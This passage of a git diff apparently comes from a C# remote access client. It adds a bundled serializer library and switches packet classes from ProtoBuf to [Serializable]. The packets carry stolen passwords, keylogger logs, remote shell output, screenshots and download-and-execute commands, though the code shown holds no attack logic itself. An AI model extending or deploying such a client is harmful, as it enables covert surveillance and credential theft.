il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Ldlen); + il.Emit(OpCodes.Conv_I4); + il.Emit(OpCodes.Clt); + il.Emit(OpCodes.Brtrue_S, loopBodyLabel); + + + // store new array to the out value + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldloc_S, arrLocal); + il.Emit(OpCodes.Stind_Ref); + + il.Emit(OpCodes.Ret); + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs b/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs new file mode 100644 index 00000000..0659cde7 --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs @@ -0,0 +1,147 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + public class DictionarySerializer : IStaticTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsGenericType) + return false; + + var genTypeDef = type.GetGenericTypeDefinition(); + + return genTypeDef == typeof(Dictionary<,>); + } + + public IEnumerable GetSubtypes(Type type) + { + // Dictionary is stored as KeyValuePair[] + + var genArgs = type.GetGenericArguments(); + + var serializedType = typeof(KeyValuePair<,>).MakeGenericType(genArgs).MakeArrayType(); + + yield return serializedType; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + Debug.Assert(type.IsGenericType); + + if (!type.IsGenericType) + throw new Exception(); + + var genTypeDef = type.GetGenericTypeDefinition(); + + Debug.Assert(genTypeDef == typeof(Dictionary<,>)); + + var containerType = this.GetType(); + + writer = GetGenWriter(containerType, genTypeDef); + reader = GetGenReader(containerType, genTypeDef); + + var genArgs = type.GetGenericArguments(); + + writer = writer.MakeGenericMethod(genArgs); + reader = reader.MakeGenericMethod(genArgs); + } + + static MethodInfo GetGenWriter(Type containerType, Type genType) + { + var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) + .Where(mi => mi.IsGenericMethod && mi.Name == "WritePrimitive"); + + foreach (var mi in mis) + { + var p = mi.GetParameters(); + + if (p.Length != 3) + continue; + + if (p[1].ParameterType != typeof(Stream)) + continue; + + var paramType = p[2].ParameterType; + + if (paramType.IsGenericType == false) + continue; + + var genParamType = paramType.GetGenericTypeDefinition(); + + if (genType == genParamType) + return mi; + } + + return null; + } + + static MethodInfo GetGenReader(Type containerType, Type genType) + { + var mis = containerType.GetMethods(BindingFlags.Static | BindingFlags.Public) + .Where(mi => mi.IsGenericMethod && mi.Name == "ReadPrimitive"); + + foreach (var mi in mis) + { + var p = mi.GetParameters(); + + if (p.Length != 3) + continue; + + if (p[1].ParameterType != typeof(Stream)) + continue; + + var paramType = p[2].ParameterType; + + if (paramType.IsByRef == false) + continue; + + paramType = paramType.GetElementType(); + + if (paramType.IsGenericType == false) + continue; + + var genParamType = paramType.GetGenericTypeDefinition(); + + if (genType == genParamType) + return mi; + } + + return null; + } + + public static void WritePrimitive(Serializer serializer, Stream stream, Dictionary value) + { + var kvpArray = new KeyValuePair[value.Count]; + + int i = 0; + foreach (var kvp in value) + kvpArray[i++] = kvp; + + serializer.Serialize(stream, kvpArray); + } + + public static void ReadPrimitive(Serializer serializer, Stream stream, out Dictionary value) + { + var kvpArray = (KeyValuePair[])serializer.Deserialize(stream); + + value = new Dictionary(kvpArray.Length); + + foreach (var kvp in kvpArray) + value.Add(kvp.Key, kvp.Value); + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs new file mode 100644 index 00000000..521291bd --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs @@ -0,0 +1,40 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Reflection; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + public class EnumSerializer : IStaticTypeSerializer + { + public bool Handles(Type type) + { + return type.IsEnum; + } + + public IEnumerable GetSubtypes(Type type) + { + var underlyingType = Enum.GetUnderlyingType(type); + + yield return underlyingType; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + Debug.Assert(type.IsEnum); + + var underlyingType = Enum.GetUnderlyingType(type); + + writer = Primitives.GetWritePrimitive(underlyingType); + reader = Primitives.GetReaderPrimitive(underlyingType); + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs new file mode 100644 index 00000000..361d27dd --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs @@ -0,0 +1,121 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + public class GenericSerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + if (!type.IsSerializable) + throw new NotSupportedException(String.Format("Type {0} is not marked as Serializable", type.FullName)); + + if (typeof(System.Runtime.Serialization.ISerializable).IsAssignableFrom(type)) + throw new NotSupportedException(String.Format("Cannot serialize {0}: ISerializable not supported", type.FullName)); + + return true; + } + + public IEnumerable GetSubtypes(Type type) + { + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + yield return field.FieldType; + } + + public void GenerateWriterMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + // arg0: Serializer, arg1: Stream, arg2: value + + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + { + // Note: the user defined value type is not passed as reference. could cause perf problems with big structs + + var fieldType = field.FieldType; + + var data = ctx.GetTypeDataForCall(fieldType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + if (type.IsValueType) + il.Emit(OpCodes.Ldarga_S, 2); + else + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldfld, field); + + il.Emit(OpCodes.Call, data.WriterMethodInfo); + } + + il.Emit(OpCodes.Ret); + } + + public void GenerateReaderMethod(Type type, CodeGenContext ctx, ILGenerator il) + { + // arg0: Serializer, arg1: stream, arg2: out value + + if (type.IsClass) + { + // instantiate empty class + il.Emit(OpCodes.Ldarg_2); + + var gtfh = typeof(Type).GetMethod("GetTypeFromHandle", BindingFlags.Public | BindingFlags.Static); + var guo = typeof(System.Runtime.Serialization.FormatterServices).GetMethod("GetUninitializedObject", BindingFlags.Public | BindingFlags.Static); + il.Emit(OpCodes.Ldtoken, type); + il.Emit(OpCodes.Call, gtfh); + il.Emit(OpCodes.Call, guo); + il.Emit(OpCodes.Castclass, type); + + il.Emit(OpCodes.Stind_Ref); + } + + var fields = Helpers.GetFieldInfos(type); + + foreach (var field in fields) + { + var fieldType = field.FieldType; + + var data = ctx.GetTypeDataForCall(fieldType); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + if (type.IsClass) + il.Emit(OpCodes.Ldind_Ref); + il.Emit(OpCodes.Ldflda, field); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + } + + if (typeof(System.Runtime.Serialization.IDeserializationCallback).IsAssignableFrom(type)) + { + var miOnDeserialization = typeof(System.Runtime.Serialization.IDeserializationCallback).GetMethod("OnDeserialization", + BindingFlags.Instance | BindingFlags.Public, + null, new[] { typeof(Object) }, null); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Constrained, type); + il.Emit(OpCodes.Callvirt, miOnDeserialization); + } + + il.Emit(OpCodes.Ret); + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs new file mode 100644 index 00000000..7d80bb2d --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs @@ -0,0 +1,157 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Reflection.Emit; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + class ObjectSerializer : IDynamicTypeSerializer + { + public bool Handles(Type type) + { + return type == typeof(object); + } + + public IEnumerable GetSubtypes(Type type) + { + return new Type[0]; + } + + public void GenerateWriterMethod(Type obtype, CodeGenContext ctx, ILGenerator il) + { + var getTypeIDMethodInfo = typeof(Serializer).GetMethod("GetTypeID", BindingFlags.NonPublic | BindingFlags.Instance, null, + new Type[] { typeof(object) }, null); + + var map = ctx.TypeMap; + + // arg0: Serializer, arg1: Stream, arg2: object + + var idLocal = il.DeclareLocal(typeof(ushort)); + + // get TypeID from object's Type + il.Emit(OpCodes.Ldarg_0); + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Call, getTypeIDMethodInfo); + il.Emit(OpCodes.Stloc_S, idLocal); + + // write typeID + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Call, ctx.GetWriterMethodInfo(typeof(ushort))); + + // +1 for 0 (null) + var jumpTable = new Label[map.Count + 1]; + jumpTable[0] = il.DefineLabel(); + foreach (var kvp in map) + jumpTable[kvp.Value.TypeID] = il.DefineLabel(); + + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Switch, jumpTable); + + il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); + il.Emit(OpCodes.Throw); + + /* null case */ + il.MarkLabel(jumpTable[0]); + il.Emit(OpCodes.Ret); + + /* cases for types */ + foreach (var kvp in map) + { + var type = kvp.Key; + var data = kvp.Value; + + il.MarkLabel(jumpTable[data.TypeID]); + + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldarg_2); + il.Emit(type.IsValueType ? OpCodes.Unbox_Any : OpCodes.Castclass, type); + + il.Emit(OpCodes.Tailcall); + il.Emit(OpCodes.Call, data.WriterMethodInfo); + + il.Emit(OpCodes.Ret); + } + } + + public void GenerateReaderMethod(Type obtype, CodeGenContext ctx, ILGenerator il) + { + var map = ctx.TypeMap; + + // arg0: Serializer, arg1: stream, arg2: out object + + var idLocal = il.DeclareLocal(typeof(ushort)); + + // read typeID + il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloca_S, idLocal); + il.Emit(OpCodes.Call, ctx.GetReaderMethodInfo(typeof(ushort))); + + // +1 for 0 (null) + var jumpTable = new Label[map.Count + 1]; + jumpTable[0] = il.DefineLabel(); + foreach (var kvp in map) + jumpTable[kvp.Value.TypeID] = il.DefineLabel(); + + il.Emit(OpCodes.Ldloc_S, idLocal); + il.Emit(OpCodes.Switch, jumpTable); + + il.Emit(OpCodes.Newobj, Helpers.ExceptionCtorInfo); + il.Emit(OpCodes.Throw); + + /* null case */ + il.MarkLabel(jumpTable[0]); + + il.Emit(OpCodes.Ldarg_2); + il.Emit(OpCodes.Ldnull); + il.Emit(OpCodes.Stind_Ref); + il.Emit(OpCodes.Ret); + + /* cases for types */ + foreach (var kvp in map) + { + var type = kvp.Key; + var data = kvp.Value; + + il.MarkLabel(jumpTable[data.TypeID]); + + var local = il.DeclareLocal(type); + + // call deserializer for this typeID + if (data.NeedsInstanceParameter) + il.Emit(OpCodes.Ldarg_0); + + il.Emit(OpCodes.Ldarg_1); + if (local.LocalIndex < 256) + il.Emit(OpCodes.Ldloca_S, local); + else + il.Emit(OpCodes.Ldloca, local); + + il.Emit(OpCodes.Call, data.ReaderMethodInfo); + + // write result object to out object + il.Emit(OpCodes.Ldarg_2); + if (local.LocalIndex < 256) + il.Emit(OpCodes.Ldloc_S, local); + else + il.Emit(OpCodes.Ldloc, local); + if (type.IsValueType) + il.Emit(OpCodes.Box, type); + il.Emit(OpCodes.Stind_Ref); + + il.Emit(OpCodes.Ret); + } + } + } +} diff --git a/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs b/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs new file mode 100644 index 00000000..6bcbcef9 --- /dev/null +++ b/Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs @@ -0,0 +1,52 @@ +/* + * Copyright 2015 Tomi Valkeinen + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, You can obtain one at http://mozilla.org/MPL/2.0/. + */ + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +namespace xClient.Core.NetSerializer.TypeSerializers +{ + public class PrimitivesSerializer : IStaticTypeSerializer + { + static Type[] s_primitives = new Type[] { + typeof(bool), + typeof(byte), typeof(sbyte), + typeof(char), + typeof(ushort), typeof(short), + typeof(uint), typeof(int), + typeof(ulong), typeof(long), + typeof(float), typeof(double), + typeof(string), + typeof(DateTime), + typeof(byte[]), + }; + + public bool Handles(Type type) + { + return s_primitives.Contains(type); + } + + public IEnumerable GetSubtypes(Type type) + { + yield break; + } + + public void GetStaticMethods(Type type, out MethodInfo writer, out MethodInfo reader) + { + writer = Primitives.GetWritePrimitive(type); + reader = Primitives.GetReaderPrimitive(type); + } + + public static IEnumerable GetSupportedTypes() + { + return s_primitives; + } + } +} diff --git a/Client/Core/Networking/Client.cs b/Client/Core/Networking/Client.cs index 5b1bf903..2fd89cee 100644 --- a/Client/Core/Networking/Client.cs +++ b/Client/Core/Networking/Client.cs @@ -4,11 +4,10 @@ using System.Linq; using System.Net.Sockets; using System.Threading; -using ProtoBuf; -using ProtoBuf.Meta; using xClient.Core.Compression; using xClient.Core.Encryption; using xClient.Core.Extensions; +using xClient.Core.NetSerializer; using xClient.Core.Packets; using xClient.Core.ReverseProxy; using xClient.Core.ReverseProxy.Packets; @@ -256,6 +255,11 @@ public ReverseProxyClient[] ProxyClients /// public bool Connected { get; private set; } + /// + /// The packet serializer. + /// + private Serializer _serializer; + private const bool encryptionEnabled = true; private const bool compressionEnabled = true; @@ -270,6 +274,8 @@ public Client() /// The port of the host. public void Connect(string host, ushort port) { + if (_serializer == null) throw new Exception("Serializer not initialized"); + try { Disconnect(); @@ -297,7 +303,6 @@ public void Connect(string host, ushort port) private void Initialize() { - AddTypeToSerializer(typeof (IPacket), typeof (UnknownPacket)); lock (_proxyClientsLock) { _proxyClients = new List(); @@ -496,9 +501,7 @@ private void AsyncReceive(object state) using (MemoryStream deserialized = new MemoryStream(_payloadBuffer)) { - IPacket packet = - Serializer.DeserializeWithLengthPrefix(deserialized, - PrefixStyle.Fixed32); + IPacket packet = (IPacket)_serializer.Deserialize(deserialized); OnClientRead(packet); } @@ -541,7 +544,7 @@ private void AsyncReceive(object state) { using (MemoryStream ms = new MemoryStream()) { - Serializer.SerializeWithLengthPrefix(ms, packet, PrefixStyle.Fixed32); + _serializer.Serialize(ms, packet); byte[] payload = ms.ToArray(); @@ -677,31 +680,13 @@ public void Disconnect() } } - /// - /// Adds a Type to the serializer so a message can be properly serialized. - /// - /// The parent type. - /// Type to be added. - public void AddTypeToSerializer(Type parent, Type type) - { - if (type == null || parent == null) - throw new ArgumentNullException(); - - bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); - - if (!isAlreadyAdded) - RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type); - } - /// /// Adds Types to the serializer. /// - /// The parent type, i.e.: IPacket /// Types to add. - public void AddTypesToSerializer(Type parent, params Type[] types) + public void AddTypesToSerializer(Type[] types) { - foreach (Type type in types) - AddTypeToSerializer(parent, type); + _serializer = new Serializer(types); } public void ConnectReverseProxy(ReverseProxyConnect command) diff --git a/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs b/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs index 55a7cfcd..07039838 100644 --- a/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs +++ b/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class DoDownloadFileResponse : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string Filename { get; set; } - [ProtoMember(3)] public byte[] Block { get; set; } - [ProtoMember(4)] public int MaxBlocks { get; set; } - [ProtoMember(5)] public int CurrentBlock { get; set; } - [ProtoMember(6)] public string CustomMessage { get; set; } public DoDownloadFileResponse() @@ -41,8 +35,6 @@ public DoDownloadFileResponse() public void Execute(Client client) { - // block thread till send queue is empty to prevent - // allocation of all blocks at once client.SendBlocking(this); } } diff --git a/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs b/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs index a1f961f6..6f6959dc 100644 --- a/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs +++ b/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class DoShellExecuteResponse : IPacket { - [ProtoMember(1)] public string Output { get; set; } - [ProtoMember(2)] public bool IsError { get; private set; } public DoShellExecuteResponse() diff --git a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs index b92255de..2b07862d 100644 --- a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs @@ -1,45 +1,33 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetAuthenticationResponse : IPacket { - [ProtoMember(1)] public string Version { get; set; } - [ProtoMember(2)] public string OperatingSystem { get; set; } - [ProtoMember(3)] public string AccountType { get; set; } - [ProtoMember(4)] public string Country { get; set; } - [ProtoMember(5)] public string CountryCode { get; set; } - [ProtoMember(6)] public string Region { get; set; } - [ProtoMember(7)] public string City { get; set; } - [ProtoMember(8)] public int ImageIndex { get; set; } - [ProtoMember(9)] public string Id { get; set; } - [ProtoMember(10)] public string Username { get; set; } - [ProtoMember(11)] public string PCName { get; set; } - [ProtoMember(12)] public string Tag { get; set; } public GetAuthenticationResponse() diff --git a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs index 5f92d460..c4beee87 100644 --- a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs @@ -1,21 +1,17 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDesktopResponse : IPacket { - [ProtoMember(1)] public byte[] Image { get; set; } - [ProtoMember(2)] public int Quality { get; set; } - [ProtoMember(3)] public int Monitor { get; set; } - [ProtoMember(4)] public string Resolution { get; set; } public GetDesktopResponse() diff --git a/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs b/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs index e9ac3e05..be00cea2 100644 --- a/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDirectoryResponse : IPacket { - [ProtoMember(1)] public string[] Files { get; set; } - [ProtoMember(2)] public string[] Folders { get; set; } - [ProtoMember(3)] public long[] FilesSize { get; set; } public GetDirectoryResponse() diff --git a/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs b/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs index b7d909c6..d98b24e4 100644 --- a/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetDrivesResponse : IPacket { - [ProtoMember(1)] public string[] DriveDisplayName { get; set; } - [ProtoMember(2)] public string[] RootDirectory { get; set; } public GetDrivesResponse() diff --git a/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs b/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs index e3a3a914..cb285524 100644 --- a/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs @@ -1,30 +1,23 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetKeyloggerLogsResponse : IPacket { - [ProtoMember(1)] public string Filename { get; set; } - [ProtoMember(2)] public byte[] Block { get; set; } - [ProtoMember(3)] public int MaxBlocks { get; set; } - [ProtoMember(4)] public int CurrentBlock { get; set; } - [ProtoMember(5)] public string CustomMessage { get; set; } - [ProtoMember(6)] public int Index { get; set; } - [ProtoMember(7)] public int FileCount { get; set; } public GetKeyloggerLogsResponse() { } diff --git a/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs b/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs index ee6f512e..aad0f288 100644 --- a/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetMonitorsResponse : IPacket { - [ProtoMember(1)] public int Number { get; set; } public GetMonitorsResponse() diff --git a/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs b/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs index d0c2483c..4a19c621 100644 --- a/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs @@ -1,13 +1,12 @@ -using System.Collections.Generic; -using ProtoBuf; +using System; +using System.Collections.Generic; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetPasswordsResponse : IPacket { - [ProtoMember(1)] public List Passwords { get; set; } public GetPasswordsResponse() diff --git a/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs b/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs index 6c19359f..052619bb 100644 --- a/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs @@ -1,18 +1,15 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetProcessesResponse : IPacket { - [ProtoMember(1)] public string[] Processes { get; set; } - [ProtoMember(2)] public int[] IDs { get; set; } - [ProtoMember(3)] public string[] Titles { get; set; } public GetProcessesResponse() diff --git a/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs b/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs index ff4ffca6..7a63bfc5 100644 --- a/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs @@ -1,13 +1,12 @@ -using System.Collections.Generic; -using ProtoBuf; +using System; +using System.Collections.Generic; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetStartupItemsResponse : IPacket { - [ProtoMember(1)] public List StartupItems { get; set; } public GetStartupItemsResponse() diff --git a/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs b/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs index 8e4b89c7..44f02689 100644 --- a/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class GetSystemInfoResponse : IPacket { - [ProtoMember(1)] public string[] SystemInfos { get; set; } public GetSystemInfoResponse() diff --git a/Client/Core/Packets/ClientPackets/SetStatus.cs b/Client/Core/Packets/ClientPackets/SetStatus.cs index 582de7c6..17eddbe3 100644 --- a/Client/Core/Packets/ClientPackets/SetStatus.cs +++ b/Client/Core/Packets/ClientPackets/SetStatus.cs @@ -1,12 +1,11 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetStatus : IPacket { - [ProtoMember(1)] public string Message { get; set; } public SetStatus() diff --git a/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs b/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs index e0afeb1f..a088898d 100644 --- a/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs +++ b/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetStatusFileManager : IPacket { - [ProtoMember(1)] public string Message { get; set; } - [ProtoMember(2)] public bool SetLastDirectorySeen { get; set; } public SetStatusFileManager() diff --git a/Client/Core/Packets/ClientPackets/SetUserStatus.cs b/Client/Core/Packets/ClientPackets/SetUserStatus.cs index c63f6d0f..4717ee82 100644 --- a/Client/Core/Packets/ClientPackets/SetUserStatus.cs +++ b/Client/Core/Packets/ClientPackets/SetUserStatus.cs @@ -1,13 +1,12 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; using xClient.Enums; namespace xClient.Core.Packets.ClientPackets { - [ProtoContract] + [Serializable] public class SetUserStatus : IPacket { - [ProtoMember(1)] public UserStatus Message { get; set; } public SetUserStatus() diff --git a/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs b/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs index 333664ad..9ccf8339 100644 --- a/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs +++ b/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientDisconnect : IPacket { public DoClientDisconnect() diff --git a/Client/Core/Packets/ServerPackets/DoClientReconnect.cs b/Client/Core/Packets/ServerPackets/DoClientReconnect.cs index 4dab9be1..5c55527b 100644 --- a/Client/Core/Packets/ServerPackets/DoClientReconnect.cs +++ b/Client/Core/Packets/ServerPackets/DoClientReconnect.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientReconnect : IPacket { public DoClientReconnect() diff --git a/Client/Core/Packets/ServerPackets/DoClientUninstall.cs b/Client/Core/Packets/ServerPackets/DoClientUninstall.cs index ca4802d3..704c01a3 100644 --- a/Client/Core/Packets/ServerPackets/DoClientUninstall.cs +++ b/Client/Core/Packets/ServerPackets/DoClientUninstall.cs @@ -1,9 +1,9 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientUninstall : IPacket { public DoClientUninstall() diff --git a/Client/Core/Packets/ServerPackets/DoClientUpdate.cs b/Client/Core/Packets/ServerPackets/DoClientUpdate.cs index 9b3da8c9..80d4b34f 100644 --- a/Client/Core/Packets/ServerPackets/DoClientUpdate.cs +++ b/Client/Core/Packets/ServerPackets/DoClientUpdate.cs @@ -1,27 +1,21 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoClientUpdate : IPacket { - [ProtoMember(1)] public int ID { get; set; } - [ProtoMember(2)] public string DownloadURL { get; set; } - [ProtoMember(3)] public string FileName { get; set; } - [ProtoMember(4)] public byte[] Block { get; set; } - [ProtoMember(5)] public int MaxBlocks { get; set; } - [ProtoMember(6)] public int CurrentBlock { get; set; } public DoClientUpdate() diff --git a/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs b/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs index 1e5197b2..e568d41c 100644 --- a/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs +++ b/Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs @@ -1,15 +1,13 @@ -using ProtoBuf; +using System; using xClient.Core.Networking; namespace xClient.Core.Packets.ServerPackets { - [ProtoContract] + [Serializable] public class DoDownloadAndExecute : IPacket { - [ProtoMember(1)] public string URL { get; set; } - 